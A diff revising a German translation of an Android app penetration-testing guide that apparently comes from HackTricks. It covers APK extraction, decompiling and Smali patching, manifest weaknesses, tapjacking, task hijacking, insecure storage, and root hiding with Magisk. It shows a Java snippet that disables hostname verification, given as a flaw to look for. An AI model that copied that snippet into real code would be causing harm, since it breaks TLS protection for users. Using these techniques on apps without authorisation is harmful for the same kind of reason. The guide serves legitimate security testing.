-Sieh dir die folgende Liste der [**ADB Commands**](adb-commands.md) an, um zu lernen, wie man adb benutzt.
+Schauen Sie sich die folgende Liste der [**ADB Commands**](adb-commands.md) an, um zu lernen, wie man adb verwendet.
 
 ## Smali
 
-Manchmal ist es interessant, den **Anwendungscode zu modifizieren**, um auf **versteckte Informationen** zuzugreifen (z. B. stark obfuskierte Passwörter oder Flags). In solchen Fällen kann es hilfreich sein, die APK zu dekompilieren, den Code zu ändern und sie wieder zu kompilieren.\
-[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Dies kann sehr nützlich als **Alternative für mehrere Tests während der dynamischen Analyse** sein, die noch vorgestellt werden. Behalte daher **immer diese Möglichkeit** im Hinterkopf.
+Manchmal ist es interessant, **den Anwendungscode zu ändern**, um auf **versteckte Informationen** (z. B. stark obfuskierte Passwörter oder Flags) zuzugreifen. Dann kann es interessant sein, das apk zu dekompilieren, den Code zu ändern und es neu zu kompilieren.\
+[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Dies kann sehr nützlich als **Alternative für mehrere Tests während der dynamischen Analyse** sein, die vorgestellt werden. Dann, **behalten Sie diese Möglichkeit immer im Hinterkopf**.
 
 ## Weitere interessante Tricks
 
@@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
 
 adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
 ```
-- Alle splits und base apks mit [APKEditor](https://github.com/REAndroid/APKEditor) zusammenführen:
+- Führe alle splits und base apks mit [APKEditor](https://github.com/REAndroid/APKEditor):
 ```bash
 mkdir splits
 adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@@ -63,39 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
 
 ## Statische Analyse
 
-Zuerst sollte man zur Analyse einer APK **den Java-Code ansehen** und dazu einen Decompiler verwenden.\
-Bitte, [**lies hier, um Informationen zu verschiedenen verfügbaren Decompilern zu finden**](apk-decompilers.md).
+Zuerst sollten Sie bei der Analyse einer APK **den Java-Code ansehen** mithilfe eines Decompilers.\
+Bitte, [**lesen Sie hier, um Informationen über verschiedene verfügbare Decompiler zu finden**](apk-decompilers.md).
 
-### Suche nach interessanten Informationen
+### Nach interessanten Informationen suchen
 
-Schon ein Blick auf die **strings** der APK kann Hinweise auf **Passwörter**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api**-Schlüssel, **Verschlüsselung**, **bluetooth uuids**, **Tokens** und alles andere Interessante liefern... suche auch nach Codeausführungs-**Backdoors** oder Authentifizierungs-Backdoors (hardcodierte Admin-Credentials in der App).
+Allein durch einen Blick auf die **strings** der APK kann man nach **Passwörtern**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API-Keys**, **Verschlüsselung**, **Bluetooth-UUIDs**, **Tokens** und allem Interessanten suchen... achte auch auf Code-Ausführungs-Backdoors oder Authentifizierungs-Backdoors (hartkodierte Admin-Zugangsdaten für die App).
 
 **Firebase**
 
-Achte besonders auf **Firebase-URLs** und überprüfe, ob diese falsch konfiguriert sind. [Mehr Informationen darüber, was Firebase ist und wie man es ausnutzen kann, hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
+Achten Sie besonders auf **Firebase-URLs** und prüfen Sie, ob es falsch konfiguriert ist. [Mehr Informationen darüber, was Firebase ist und wie man es ausnutzen kann, finden Sie hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
 
 ### Grundlegendes Verständnis der Anwendung - Manifest.xml, strings.xml
 
-Die **Untersuchung der _Manifest.xml_ und der **_strings.xml_** einer Anwendung kann potenzielle Sicherheitslücken offenbaren**. Auf diese Dateien kann man mit Decompilern zugreifen oder indem man die APK-Erweiterung in .zip umbenennt und die Datei entpackt.
+Die **Untersuchung der _Manifest.xml_ und **_strings.xml_** einer Anwendung kann potenzielle Sicherheitslücken aufdecken**. Auf diese Dateien kann man mit Decompilern zugreifen oder indem man die Dateiendung der APK in .zip ändert und sie entpackt.
 
-Aus der **Manifest.xml** identifizierbare **Schwachstellen** umfassen:
+**Schwachstellen**, die aus der **Manifest.xml** identifiziert werden können, umfassen:
 
-- **Debuggable Applications**: Anwendungen, die in der _Manifest.xml_ als debuggable (`debuggable="true"`) gesetzt sind, stellen ein Risiko dar, da sie Verbindungen erlauben können, die zur Ausnutzung führen. Für ein besseres Verständnis, wie debuggable Applications ausgenutzt werden können, siehe ein Tutorial zum Finden und Ausnutzen von debuggable Applications auf einem Gerät.
-- **Backup-Einstellungen**: Das Attribut `android:allowBackup="false"` sollte explizit für Anwendungen gesetzt werden, die mit sensiblen Informationen umgehen, um unautorisierte Datenbackups über adb zu verhindern, insbesondere wenn USB-Debugging aktiviert ist.
-- **Network Security**: Benutzerdefinierte Netzwerk-Sicherheitskonfigurationen (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ können Sicherheitsdetails wie Certificate Pins und Einstellungen für HTTP-Traffic spezifizieren. Ein Beispiel wäre das Zulassen von HTTP-Traffic für bestimmte Domains.
-- **Exported Activities und Services**: Das Identifizieren exportierter Activities und Services im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Weitere Analysen während dynamischer Tests können aufdecken, wie diese Komponenten ausgenutzt werden können.
-- **Content Providers und FileProviders**: Exponierte Content Providers könnten unautorisierten Zugriff oder Modifikationen von Daten ermöglichen. Die Konfiguration von FileProviders sollte ebenfalls sorgfältig geprüft werden.
-- **Broadcast Receivers und URL-Schemata**: Diese Komponenten könnten für Exploits genutzt werden, mit besonderem Augenmerk darauf, wie URL-Schemata für Eingaben gehandhabt werden.
-- **SDK-Versionen**: Die Attribute `minSdkVersion`, `targetSDKVersion` und `maxSdkVersion` geben die unterstützten Android-Versionen an und machen deutlich, dass es wichtig ist, keine veralteten, verwundbaren Android-Versionen zu unterstützen.
+- **Als debuggable markierte Anwendungen**: Anwendungen, die im _Manifest.xml_ als debuggable (`debuggable="true"`) gesetzt sind, stellen ein Risiko dar, da sie Verbindungen erlauben, die zu einer Ausnutzung führen können. Zur weiteren Erläuterung, wie man debuggable Anwendungen ausnutzt, siehe ein Tutorial zum Finden und Ausnutzen debuggable Anwendungen auf einem Gerät.
+- **Backup-Einstellungen**: Das Attribut `android:allowBackup="false"` sollte explizit für Anwendungen gesetzt werden, die mit sensiblen Informationen umgehen, um unautorisierte Daten-Backups über adb zu verhindern, besonders wenn USB-Debugging aktiviert ist.
+- **Network Security**: Eigene Network-Security-Konfigurationen (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ können Sicherheitsdetails wie Certificate Pinning und HTTP-Traffic-Einstellungen spezifizieren. Ein Beispiel ist das Zulassen von HTTP-Traffic für bestimmte Domains.
+- **Exportierte Activities und Services**: Das Identifizieren exportierter Activities und Services im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Eine weitergehende Analyse während dynamischer Tests kann aufdecken, wie diese Komponenten ausgenutzt werden können.
+- **Content Providers und FileProviders**: Offen gelegte Content Provider könnten unautorisierte Zugriffe oder Änderungen an Daten erlauben. Die Konfiguration von FileProviders sollte ebenfalls geprüft werden.
+- **Broadcast Receivers und URL-Schemata**: Diese Komponenten könnten für Exploits genutzt werden, mit besonderem Augenmerk darauf, wie URL-Schemata Eingaben verarbeiten.
+- **SDK-Versionen**: Die Attribute `minSdkVersion`, `targetSDKVersion` und `maxSdkVersion` geben die unterstützten Android-Versionen an und machen deutlich, wie wichtig es ist, veraltete, verwundbare Android-Versionen nicht zu unterstützen.
 
-Aus der **strings.xml** können sensible Informationen wie API-Schlüssel, Custom Schemes und andere Entwicklerhinweise entdeckt werden, was die Notwendigkeit unterstreicht, diese Ressourcen sorgfältig zu prüfen.
+Aus der **strings.xml**-Datei lassen sich sensible Informationen wie API-Keys, Custom Schemes und andere Entwicklerhinweise entdecken, was die Notwendigkeit einer sorgfältigen Überprüfung dieser Ressourcen unterstreicht.
 
 ### Tapjacking
 
-Tapjacking ist ein Angriff, bei dem eine **malicious** **application** gestartet wird und **sich über einer Opfer-Anwendung positioniert**. Sobald sie die Opfer-App sichtbar überlagert, ist ihre Benutzeroberfläche so gestaltet, dass sie den Benutzer zur Interaktion verleitet, während sie die Interaktion an die Opfer-App weiterreicht.\
-Im Effekt **blendet sie den Benutzer aus, sodass er nicht erkennt, dass er tatsächlich Aktionen in der Opfer-App durchführt**.
+Tapjacking ist ein Angriff, bei dem eine **bösartige Anwendung** gestartet wird und sich **oberhalb einer Opfer-Anwendung positioniert**. Sobald sie die Opfer-App sichtbar überlagert, ist ihre Benutzeroberfläche so gestaltet, dass sie den Benutzer dazu verleitet, mit ihr zu interagieren, während sie diese Interaktion an die Opfer-App weiterleitet.\
+Effektiv blendet sie den Benutzer aus, sodass er nicht bemerkt, dass er tatsächlich Aktionen in der Opfer-App ausführt.
 
-Mehr Informationen dazu findest du in:
+Weitere Informationen finden Sie in:
 
 
 {{#ref}}
@@ -104,9 +104,9 @@ tapjacking.md
 
 ### Task Hijacking
 
-Eine **activity** mit dem **`launchMode`** auf **`singleTask` ohne definiertes `taskAffinity`** ist anfällig für Task Hijacking. Das bedeutet, dass eine **application** installiert werden kann und wenn sie vor der echten Anwendung gestartet wird, die **Task der echten Anwendung hijacken** könnte (so dass der Benutzer mit der **malicious application interagiert und glaubt, die echte Anwendung zu benutzen**).
+Eine **Activity** mit dem **`launchMode`** auf **`singleTask`** gesetzt und ohne definierte `taskAffinity` ist anfällig für Task Hijacking. Das bedeutet, dass eine **maligne Anwendung** installiert werden kann und, wenn sie vor der echten Anwendung gestartet wird, **die Task der echten Anwendung kapern** könnte (so wird der Benutzer mit der **bösartigen Anwendung interagieren und denken, er benutzt die echte**).
 
-Mehr Infos in:
+Mehr Informationen in:
 
 
 {{#ref}}
@@ -117,42 +117,42 @@ android-task-hijacking.md
 
 **Internal Storage**
 
-In Android sind Dateien, die im **internal** Storage **gespeichert** werden, **dafür vorgesehen**, ausschließlich von der **App**, die sie erstellt hat, **zugänglich** zu sein. Diese Sicherheitsmaßnahme wird vom Android-Betriebssystem durchgesetzt und ist für die Sicherheitsanforderungen der meisten Anwendungen in der Regel ausreichend. Entwickler verwenden jedoch manchmal Modi wie `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`, um Dateien zwischen verschiedenen Anwendungen **zu teilen**. Diese Modi **beschränken jedoch nicht den Zugriff** auf diese Dateien durch andere Anwendungen, einschließlich potenziell bösartiger.
+In Android sind Dateien, die im **internen** Speicher **gespeichert** werden, **dazu gedacht**, ausschließlich von der **App**, die sie **erstellt** hat, zugänglich zu sein. Diese Sicherheitsmaßnahme wird vom Android-Betriebssystem **durchgesetzt** und ist für die Sicherheitsanforderungen der meisten Anwendungen in der Regel ausreichend. Entwickler nutzen jedoch manchmal Modi wie `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`, um Dateien zwischen verschiedenen Anwendungen zu **teilen**. Diese Modi **begrenzen den Zugriff** auf diese Dateien jedoch **nicht** gegenüber anderen Anwendungen, einschließlich potenziell bösartiger.
 
 1. **Statische Analyse:**
-- **Stelle sicher**, dass die Verwendung von `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE` **gründlich geprüft** wird. Diese Modi **können Dateien unbeabsichtigt oder unautorisiert zugänglich machen**.
+- **Prüfen** Sie genau den Einsatz von `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`. Diese Modi **können Dateien ungewollt oder unautorisiert zugänglich machen**.
 2. **Dynamische Analyse:**
-- **Überprüfe** die **Berechtigungen** der von der App erstellten Dateien. Insbesondere **prüfe**, ob Dateien so gesetzt sind, dass sie weltweit lesbar oder schreibbar sind. Dies kann ein erhebliches Sicherheitsrisiko darstellen, da es **jeder auf dem Gerät installierten Anwendung**, unabhängig von Herkunft oder Absicht, erlauben würde, diese Dateien zu **lesen oder zu verändern**.
+- **Verifizieren** Sie die **Berechtigungen** von Dateien, die von der App erstellt wurden. Insbesondere **prüfen** Sie, ob Dateien **weltweit les- oder schreibbar** gesetzt sind. Dies kann ein erhebliches Sicherheitsrisiko darstellen, da es **jeder auf dem Gerät installierten Anwendung** erlauben würde, diese Dateien zu **lesen oder zu verändern**, egal woher sie stammt.
 
 **External Storage**
 
-Beim Umgang mit Dateien auf **external storage**, wie SD-Karten, sollten bestimmte Vorsichtsmaßnahmen getroffen werden:
+Beim Umgang mit Dateien auf dem **externen Speicher**, wie SD-Karten, sollten bestimmte Vorsichtsmaßnahmen beachtet werden:
 
 1. **Zugänglichkeit**:
-- Dateien auf external storage sind **global lesbar und beschreibbar**. Das bedeutet, jede Anwendung oder jeder Benutzer kann auf diese Dateien zugreifen.
+- Dateien auf externem Speicher sind **global les- und schreibbar**. Das bedeutet, dass jede Anwendung oder jeder Benutzer auf diese Dateien zugreifen kann.
 2. **Sicherheitsbedenken**:
-- Aufgrund des einfachen Zugriffs wird **davon abgeraten, sensible Informationen** auf external storage zu speichern.
-- External storage kann entfernt werden oder von jeder Anwendung eingesehen werden, was es weniger sicher macht.
-3. **Umgang mit Daten aus external storage**:
-- Führe immer **Eingabevalidierung** an Daten durch, die aus external storage abgerufen werden. Das ist entscheidend, da diese Daten aus einer nicht vertrauenswürdigen Quelle stammen.
-- Das Speichern von ausführbaren Dateien oder class-Dateien auf external storage zur dynamischen Nachladung wird dringend abgeraten.
-- Falls deine App ausführbare Dateien aus external storage laden muss, stelle sicher, dass diese Dateien **signiert und kryptografisch verifiziert** sind, bevor sie dynamisch geladen werden. Dieser Schritt ist wichtig, um die Sicherheitsintegrität deiner Anwendung zu wahren.
+- Aufgrund der einfachen Zugänglichkeit wird empfohlen, **keine sensiblen Informationen** auf externem Speicher zu speichern.
+- Externer Speicher kann entfernt oder von jeder Anwendung ausgelesen werden, was ihn weniger sicher macht.
+3. **Umgang mit Daten vom externen Speicher**:
+- Führen Sie immer **Eingabevalidierung** auf Daten durch, die vom externen Speicher abgerufen werden. Das ist wichtig, da die Daten aus einer untrusted Quelle stammen.
+- Das Speichern von ausführbaren Dateien oder Klassen auf externem Speicher zum dynamischen Laden wird stark abgeraten.
+- Wenn Ihre Anwendung ausführbare Dateien vom externen Speicher laden muss, stellen Sie sicher, dass diese Dateien **signiert und kryptografisch verifiziert** sind, bevor sie dynamisch geladen werden. Dieser Schritt ist entscheidend für die Wahrung der Sicherheitsintegrität Ihrer Anwendung.
 
-External storage kann unter /storage/emulated/0 , /sdcard , /mnt/sdcard zugegriffen werden
+Der externe Speicher kann unter `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`` zugegriffen werden.
 
 > [!TIP]
-> Beginnend mit Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die den Zugriff einer App auf das Verzeichnis beschränkt, das speziell für diese App vorgesehen ist. Dies verhindert, dass bösartige Anwendungen Lese- oder Schreibzugriff auf die Dateien einer anderen App erlangen.
+> Beginnend mit Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die **den Zugriff einer App auf das Verzeichnis einschränkt, das speziell für diese App vorgesehen ist**. Dies verhindert, dass eine bösartige Anwendung Lese- oder Schreibzugriff auf die Dateien einer anderen App erhält.
 
 **Sensitive data stored in clear-text**
 
-- **Shared preferences**: Android erlaubt jeder App, einfach XML-Dateien im Pfad `/data/data/<packagename>/shared_prefs/` zu speichern, und manchmal lassen sich in diesem Ordner sensible Informationen im Klartext finden.
-- **Databases**: Android erlaubt jeder App, einfach sqlite-Datenbanken im Pfad `/data/data/<packagename>/databases/` zu speichern, und manchmal lassen sich in diesem Ordner sensible Informationen im Klartext finden.
+- **Shared preferences**: Android ermöglicht jeder Anwendung, XML-Dateien im Pfad `/data/data/<packagename>/shared_prefs/` zu speichern, und manchmal lassen sich in diesem Ordner sensible Informationen im Klartext finden.
+- **Databases**: Android ermöglicht jeder Anwendung, sqlite-Datenbanken im Pfad `/data/data/<packagename>/databases/` zu speichern, und manchmal lassen sich in diesem Ordner sensible Informationen im Klartext finden.
 
 ### Broken TLS
 
 **Accept All Certificates**
 
-Aus irgendeinem Grund akzeptieren Entwickler manchmal alle Zertifikate, selbst wenn beispielsweise der Hostname nicht übereinstimmt — mit Codezeilen wie der folgenden:
+Aus irgendeinem Grund akzeptieren Entwickler manchmal alle Zertifikate, selbst wenn zum Beispiel der Hostname nicht übereinstimmt, mit Codezeilen wie der folgenden:
 ```java
 SSLSocketFactory sf = new cc(trustStore);
 sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
@@ -161,23 +161,23 @@ A good way to test this is to try to capture the traffic using some proxy like B
 
 ### Fehlerhafte Kryptographie
 
-**Schlechte Key-Management-Prozesse**
+**Schwache Prozesse zur Schlüsselverwaltung**
 
-Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hartkodierten/vorhersehbaren Key. Das sollte nicht gemacht werden, da Reverse-Engineering es Angreifern ermöglichen könnte, die vertraulichen Informationen zu extrahieren.
+Manche Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hardcodierten/vorhersagbaren Key. Das sollte nicht gemacht werden, da ein Reverse Engineering Angreifern ermöglichen kann, die vertraulichen Informationen zu extrahieren.
 
 **Verwendung unsicherer und/oder veralteter Algorithmen**
 
-Entwickler sollten keine **veralteten Algorithmen** verwenden, um Autorisierungs**prüfungen** durchzuführen, Daten zu **speichern** oder zu **senden**. Einige dieser Algorithmen sind: RC4, MD4, MD5, SHA1... Wenn **Hashes** z. B. zum Speichern von Passwörtern verwendet werden, sollten hashes verwendet werden, die bruteforce-**resistent** sind und Salt enthalten.
+Entwickler sollten keine **deprecated algorithms** verwenden, um Autorisierungs-**checks** durchzuführen, Daten zu **store** oder zu **send**. Einige dieser Algorithmen sind: RC4, MD4, MD5, SHA1... Wenn **hashes** beispielsweise verwendet werden, um Passwörter zu speichern, sollten hashes verwendet werden, die **brute-force resistant** sind und Salt nutzen.
 
 ### Weitere Prüfungen
 
-- Es wird empfohlen, das **APK zu obfuskieren**, um die Reverse-Engineering-Arbeit für Angreifer zu erschweren.
-- Wenn die App sensibel ist (z. B. Bank-Apps), sollte sie **eigene Prüfungen durchführen, um zu erkennen, ob das Mobilgerät gerootet ist**, und entsprechend reagieren.
-- Wenn die App sensibel ist (z. B. Bank-Apps), sollte sie prüfen, ob ein **emulator** verwendet wird.
-- Wenn die App sensibel ist (z. B. Bank-Apps), sollte sie **ihre eigene Integrität vor der Ausführung prüfen**, um festzustellen, ob sie verändert wurde.
-- Verwende [**APKiD**](https://github.com/rednaga/APKiD), um zu prüfen, welcher Compiler/Packager/Obfuscator zum Erstellen des APK verwendet wurde
+- Es wird empfohlen, das **APK zu obfuscate**, um die Arbeit von reverse engineer Angreifern zu erschweren.
+- Wenn die App sensibel ist (z.B. Bank-Apps), sollte sie eigene **Checks durchführen, um zu prüfen, ob das Mobilgerät gerootet ist**, und entsprechend reagieren.
+- Wenn die App sensibel ist (z.B. Bank-Apps), sollte sie prüfen, ob ein **emulator** verwendet wird.
+- Wenn die App sensibel ist (z.B. Bank-Apps), sollte sie **ihre eigene Integrität vor der Ausführung prüfen**, um festzustellen, ob sie verändert wurde.
+- Nutze [**APKiD**](https://github.com/rednaga/APKiD), um zu prüfen, welcher Compiler/Packer/Obfuscator zum Bauen des APK verwendet wurde
 
-### React Native Application
+### React Native Anwendung
 
 Read the following page to learn how to easily access javascript code of React applications:
 
@@ -186,7 +186,7 @@ Read the following page to learn how to easily access javascript code of React a
 react-native-application.md
 {{#endref}}
 
-### Xamarin Applications
+### Xamarin Anwendungen
 
 Read the following page to learn how to easily access C# code of a xamarin applications:
 
@@ -201,13 +201,13 @@ According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpa
 
 ### Automatisierte statische Code-Analyse
 
-Das Tool [**mariana-trench**](https://github.com/facebook/mariana-trench) ist in der Lage, **Vulnerabilities** zu finden, indem es den **Code** der Anwendung **scannt**. Dieses Tool enthält eine Reihe von **known sources** (die dem Tool die **Stellen** angeben, an denen die **Eingabe** vom Benutzer **kontrolliert** wird), **sinks** (die dem Tool **gefährliche** **Stellen** anzeigen, an denen bösartige Benutzereingaben Schaden anrichten könnten) und **rules**. Diese Regeln geben die **Kombination** von **sources-sinks** an, die auf eine Vulnerability hinweist.
+Das Tool [**mariana-trench**](https://github.com/facebook/mariana-trench) ist in der Lage, **vulnerabilities** zu finden, indem es den **Code** der Anwendung **scannt**. Dieses Tool enthält eine Reihe von **known sources** (die dem Tool anzeigen, an welchen **Stellen** die **Input** **vom Benutzer kontrolliert** wird), **sinks** (die dem Tool **gefährliche** **Stellen** anzeigen, an denen bösartige Benutzereingaben Schaden verursachen könnten) und **rules**. Diese Rules geben die **Kombination** von **sources-sinks** an, die auf eine Schwachstelle hinweist.
 
-Mit diesem Wissen **wird mariana-trench den Code überprüfen und mögliche Vulnerabilities darin finden**.
+Mit diesem Wissen wird **mariana-trench** den Code überprüfen und mögliche Schwachstellen finden.
 
 ### Secrets leaked
 
-Eine Anwendung kann Secrets (API-Keys, Passwörter, versteckte URLs, Subdomains...) enthalten, die Sie möglicherweise entdecken können. Du könntest ein Tool wie [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) verwenden
+An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
 
 ### Bypass Biometric Authentication
 
@@ -234,224 +234,224 @@ content-protocol.md
 
 ---
 
-## Dynamic Analysis
+## Dynamische Analyse
 
-> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended.
+> Zuerst brauchst du eine Umgebung, in der du die Anwendung und alle benötigten Komponenten installieren kannst (Burp CA cert, Drozer und Frida hauptsächlich). Daher wird ein rooted device (emuliert oder nicht) dringend empfohlen.
 
 ### Online Dynamic analysis
 
-You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
+Du kannst ein **kostenloses Konto** bei: [https://appetize.io/](https://appetize.io/) erstellen. Diese Plattform erlaubt dir, **APKs hochzuladen** und **auszuführen**, sodass sie nützlich ist, um zu sehen, wie sich ein APK verhält.
 
-You can even **see the logs of your application** in the web and connect through **adb**.
+Du kannst sogar **die Logs deiner Anwendung im Web sehen** und dich per **adb** verbinden.
 
 ![](<../../images/image (831).png>)
 
-Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
+Dank der ADB-Verbindung kannst du **Drozer** und **Frida** in den Emulatoren verwenden.
 
 ### Lokale dynamische Analyse
 
-#### Verwendung eines emulators
+#### Verwendung eines Emulators
 
-- [**Android Studio**](https://developer.android.com/studio) (Du kannst **x86** und **arm** Geräte erstellen, und laut [**diesem**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**neueren x86** Versionen **unterstützen ARM-Bibliotheken** ohne einen langsamen arm-emulator zu benötigen).
-- Lerne, wie man es auf dieser Seite einrichtet:
+- [**Android Studio**](https://developer.android.com/studio) (Du kannst **x86** und **arm** Geräte erstellen, und laut [**diesem** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**Support für ARM-Bibliotheken** haben die neuesten x86-Versionen ohne die Notwendigkeit eines langsamen ARM-Emulators).
+- Lerne, es auf dieser Seite einzurichten:
 
 
 {{#ref}}
 avd-android-virtual-device.md
 {{#endref}}
 
-- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, du musst ein Konto erstellen. _Es wird empfohlen, die Version **WITH**_ _**VirtualBox** herunterzuladen, um potenzielle Fehler zu vermeiden._)
-- [**Nox**](https://es.bignox.com) (Kostenlos, unterstützt aber Frida oder Drozer nicht).
+- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, du musst ein Konto erstellen. _Es wird empfohlen, die Version **MIT** _**VirtualBox** herunterzuladen, um potenzielle Fehler zu vermeiden._)
+- [**Nox**](https://es.bignox.com) (Kostenlos, unterstützt jedoch Frida oder Drozer nicht).
 
 > [!TIP]
-> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible.
+> Wenn du einen neuen Emulator auf einer beliebigen Plattform erstellst, denke daran, dass je größer der Bildschirm ist, desto langsamer der Emulator läuft. Wähle daher nach Möglichkeit kleine Bildschirme.
 
-To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
+Um **google services** (wie AppStore) in Genymotion zu installieren, musst du auf den rot markierten Button im folgenden Bild klicken:
 
 ![](<../../images/image (277).png>)
 
-Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools).
+Beachte außerdem, dass du in der **Konfiguration der Android VM in Genymotion** den **Bridge Network mode** wählen kannst (das ist nützlich, wenn du von einer anderen VM mit den Tools auf die Android-VM zugreifst).
 
 #### Verwende ein physisches Gerät
 
-Du musst die **Debugging**-Optionen aktivieren und es ist vorteilhaft, wenn du es **rooten** kannst:
+Du musst die **debugging** Optionen aktivieren und es ist gut, wenn du es **rooten** kannst:
 
 1. **Settings**.
-2. (FromAndroid 8.0) Select **System**.
-3. Select **About phone**.
-4. Press **Build number** 7 times.
-5. Go back and you will find the **Developer options**.
+2. (Ab Android 8.0) Wähle **System**.
+3. Wähle **About phone**.
+4. Drücke **Build number** 7 Mal.
+5. Gehe zurück und du findest die **Developer options**.
 
-> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
-> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
+> Sobald du die Anwendung installiert hast, solltest du sie zuerst ausprobieren und untersuchen, was sie tut, wie sie funktioniert, und dich damit vertraut machen.\
+> Ich empfehle, **diese initiale dynamische Analyse mit MobSF dynamic analysis + pidcat** durchzuführen, sodass wir **lernen, wie die Anwendung funktioniert**, während MobSF viele **interessante** **Daten** erfasst, die du später überprüfen kannst.
 
-Magisk/Zygisk quick notes (recommended on Pixel devices)
-- Patch boot.img with the Magisk app and flash via fastboot to get systemless root
-- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required
-- Keep original boot.img to recover from OTA updates; re-patch after each OTA
-- For screen mirroring, use scrcpy on the host
+Magisk/Zygisk Quick Notes (empfohlen auf Pixel-Geräten)
+- Patch das boot.img mit der Magisk-App und flash es via fastboot, um systemless root zu erhalten
+- Aktiviere Zygisk + DenyList zum Root-Hiding; erwäge LSPosed/Shamiko, wenn stärkeres Hiding notwendig ist
+- Bewahre das originale boot.img, um von OTA-Updates wiederherstellen zu können; erneut patchen nach jedem OTA
+- Für Screen-Mirroring nutze scrcpy auf dem Host
 
 
 
-### Unintended Data Leakage
+### Unbeabsichtigte Datenweitergabe
 
 **Logging**
 
-Entwickler sollten vorsichtig sein, debug-Informationen öffentlich preiszugeben, da dies zu sensiblen Daten leaks führen kann. Die Tools [**pidcat**](https://github.com/JakeWharton/pidcat) und `adb logcat` werden empfohlen, um Anwendungslogs zu überwachen, damit sensible Informationen identifiziert und geschützt werden können. **Pidcat** wird aufgrund seiner einfachen Nutzung und Lesbarkeit bevorzugt.
+Entwickler sollten vorsichtig sein, **Debugging-Informationen** öffentlich preiszugeben, da dies zu sensiblen Daten leaks führen kann. Die Tools [**pidcat**](https://github.com/JakeWharton/pidcat) und `adb logcat` werden empfohlen, um Anwendungs-Logs zu überwachen und sensible Informationen zu identifizieren und zu schützen. **Pidcat** wird wegen seiner Benutzerfreundlichkeit und Lesbarkeit bevorzugt.
 
 > [!WARNING]
-> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
-> Anyway, it's still recommended to **not log sensitive information**.
+> Beachte, dass seit **neuer als Android 4.0** **Anwendungen nur noch auf ihre eigenen Logs zugreifen können**. Anwendungen können also nicht auf die Logs anderer Apps zugreifen.\
+> Trotzdem wird empfohlen, **keine sensiblen Informationen zu loggen**.
 
 **Copy/Paste Buffer Caching**
 
-Androids **clipboard-basiertes** Framework ermöglicht Copy-Paste-Funktionen in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf die Zwischenablage **zugreifen** können und dadurch möglicherweise sensible Daten exponiert werden. Es ist wichtig, Copy/Paste-Funktionen für sensible Bereiche einer Anwendung, wie Kreditkartendaten, zu **deaktivieren**, um leaks zu verhindern.
+Das **clipboard-basierte** Framework von Android ermöglicht Copy-Paste-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf die Zwischenablage **access** können und dadurch sensible Daten exponieren könnten. Es ist wichtig, Copy/Paste-Funktionen für sensible Bereiche einer Anwendung (z. B. Kreditkartendaten) zu **disable**, um Daten leaks zu verhindern.
 
 **Crash Logs**
 
-Wenn eine Anwendung **abstürzt** und **Logs speichert**, können diese Logs Angreifern helfen, insbesondere wenn die Anwendung nicht reverse-engineered werden kann. Um dieses Risiko zu mindern, sollte man vermeiden, bei Abstürzen zu loggen, und falls Logs über das Netzwerk gesendet werden müssen, sicherstellen, dass sie über einen SSL-Kanal übertragen werden.
